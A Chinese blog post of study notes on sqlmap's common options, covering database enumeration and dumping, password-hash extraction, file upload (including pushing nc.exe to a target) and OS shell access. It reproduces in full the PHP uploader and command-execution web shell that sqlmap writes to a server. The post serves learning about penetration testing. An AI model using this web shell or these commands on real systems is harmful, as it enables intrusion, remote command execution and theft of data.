Sqlmap常见命令
Sqlmap常见命令
借着复习mysql的机会再重新复习一下sqlmap,因为参数太多了,我只记录一下自己常用的命令,如果想看详细大全,可以看一下大佬们的完整版
文章参考
https://blog.csdn.net/Breeze_CAT/article/details/80628392
https://blog.csdn.net/SHIGUANGTUJING/article/details/91429067
想了解sql注入流程的可以看一下
https://sherlocz.github.io/2019/06/29/sqlmap-p/
1.选项
-h,--help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本信息并退出
2.目标
在这些选项中必须提供至少有一个确定目标
-u 目标URL
例:sqlmap -u "www.abc.com/index.php?id=1"
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
3.请求
这些选项可以用来指定如何连接到目标URL
--method=METHOD 指定是get方法还是post方法。
例: --method=GET --method=POST
--random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--proxy=PROXY 指定一个代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。
4.注入
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。
-p 测试参数
例: sqlmap -r bp.txt -p "username"
--skip-static 跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
5.检测
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
--level=LEVEL 执行测试的等级(1-5,默认为1)
lv2:cookie; lv3:user-agent,refere; lv5:host
在sqlmap/xml/payloads文件内可以看见各个level发送的payload 我常使用--level 3
--risk=RISK 执行测试的风险(0-3,默认为1)
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1
6.枚举
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。 脱库时使用
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--dbs 枚举数据库管理系统数据库
--tables 枚举DBMS数据库中的表
--columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
--dump 转储数据库表项,查询字段值
--search 搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
7.文件操作
这些选项可以被用来访问后端数据库管理系统的底层文件系统
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write=”/software/nc.exe” –file-dest=”C:/WINDOWS/Temp/nc.exe”
8.操作系统访问
这些选项可以用于访问后端数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令(OSCMD)
--os-shell 交互式的操作系统的shell
os-shell的原理
文章参考
https://www.cnblogs.com/lcamry/p/5505110.html
当我们运行–os-shell的时候,首先要选择语言(默认为php)
然后需要输入网站的绝对路径,我的是默认目录/var/www/html/选1,如果需要自己输入的话选2
然后在/var/www/html下会多出两个php文件,这两个php文件就是–os-shell写入的shell文件
我们看一下内容
tmputade.php
<?php
if (isset($_REQUEST["upload"]))
{
$dir=$_REQUEST["uploadDir"];
if (phpversion()<\'4.1.0\')
{
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
else
{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
@chmod($dir."/".$file,0755);echo "File uploaded";
}
else
{
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>
实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。 (大概作用就是用来判断php版本?否则直接写入下面的执行脚本就好了,这个上传脚本不是多此一举吗?)
tmpbixkl.php
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z))
{
$z=preg_replace("/[, ]+/",\',\',$z);
$z=explode(\',\',$z);
$z=array_map("trim",$z);
}
else
{
$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{
global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f("system"))
{
ob_start();
system($c);
$w=ob_get_clean();
}
elseif(f("proc_open"))
{
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1]))
{
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f("shell_exec"))
{
$w=shell_exec($c);
}
elseif(f("passthru"))
{
ob_start();
passthru($c);
$w=ob_get_clean();
}
elseif(f("popen"))
{
$x=popen($c,r);
$w=NULL;
if(is_resource($x))
{
while(!feof($x))
{
$w.=fread($x,512);
}
}
@pclose($x);
}
elseif(f("exec"))
{
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}
else{$w=0;}
echo"<pre>$w</pre>";?>
上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中 。
os-shell使用条件
- 网站必须是root权限(current_user()=\’root\’)
- 网站的绝对路径
- GPC为off(默认为off)
网上说的都是这三个条件,可是我三个条件都满足了仍然无法使用os-shell,后来发现虽然数据库是root@localhost权限但是往系统里写文件时的权限是mysql而不是root
/var/www/html默认权限是755,除了root用户其他用户没有写的权限,就无法将上面的两个php文件写入目录里,所以使用条件只有这3个就可以吗?还是因为什么原因?这个还没想明白,先记录一下这个问题。
如果有错误或者知道原因的大佬希望可以评论一下,指出问题,感激不尽